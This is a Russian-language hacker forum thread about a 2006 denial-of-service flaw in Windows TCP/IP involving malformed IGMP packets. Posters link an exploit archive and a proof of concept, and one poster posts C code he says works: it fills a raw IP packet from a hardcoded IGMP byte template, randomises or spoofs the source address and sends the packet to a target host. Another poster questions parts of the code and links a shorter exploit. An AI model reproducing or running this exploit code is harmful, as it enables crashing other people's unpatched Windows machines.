Отказ в обслуживании в Microsoft Windows TCP/IP http://www.securitylab.ru/poc/264136.php сплоит - http://www.securitylab.ru/_download/exploits/2006/03/EvilIGMP.rar раньше на секлабе орали скомпильте, теперь ревут дайте сорцы
хахаха ребят, я конечно все понимаю, но посмотреть снифером пакет и потом его послать - не особо сложно... Вот что я сделал - работает: Code: static char IgmpTemplate[] = "\x47\x00\x00\x2c\x00\x64\x00\x00\x80\x02" "\x24\x63\x0a\x00\x00\x01\x0a\x00\x00\x09" "\x00\x00\x00\x00\x00\x00\x00\x00\x11\x05" "\x04\xef\xe0\x00\x00\x01\x00\x00\x00\x01" "\x0a\x00\x00\x09"; int seq_no = 0; void Igmp_Fill( char *buf, DWORD src_ip, DWORD dst_ip ) { _memcpy( buf, IgmpTemplate, 44 ); ipheader *iph = (ipheader*)buf; iph->ip_sum = 0; iph->ip_dst = src_ip+1; if (!src_ip) src_ip = (rand() << 16) | rand(); iph->ip_src = src_ip; iph->ip_id = seq_no++; } int IgmpExploit( DWORD src_ip, DWORD dst_ip ) { SOCKET s = _socket( PF_INET, SOCK_RAW, IPPROTO_RAW ); if (s == INVALID_SOCKET) return 0; int bOpt = 0; if (_setsockopt( s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof( bOpt ) ) == SOCKET_ERROR) return 0; if (!dst_ip) return 1; sockaddr_in s_a; s_a.sin_family = AF_INET; s_a.sin_addr.s_addr = dst_ip; char packet[44]; _memset( packet, 0, 44 ); Igmp_Fill( packet, src_ip, dst_ip ); if (_sendto( s, packet, 44, 0, (struct sockaddr*)&s_a, sizeof( s_a ) ) == SOCKET_ERROR) return 2; _closesocket( s ); return 3; } кто хоть чтото понял - разбереться в антиламере
Блин кез не в обиду какая то у тебя манера странная написания сплоитов iph->ip_sum = 0; iph->ip_dst = src_ip+1; if (!src_ip) src_ip = (rand() << 16) | rand(); чЕ ЗА НА
Непонял, что тебе не понравилось в это фрагменте? http://milw0rm.com/exploits/1599 - у меня помоему покороче будет...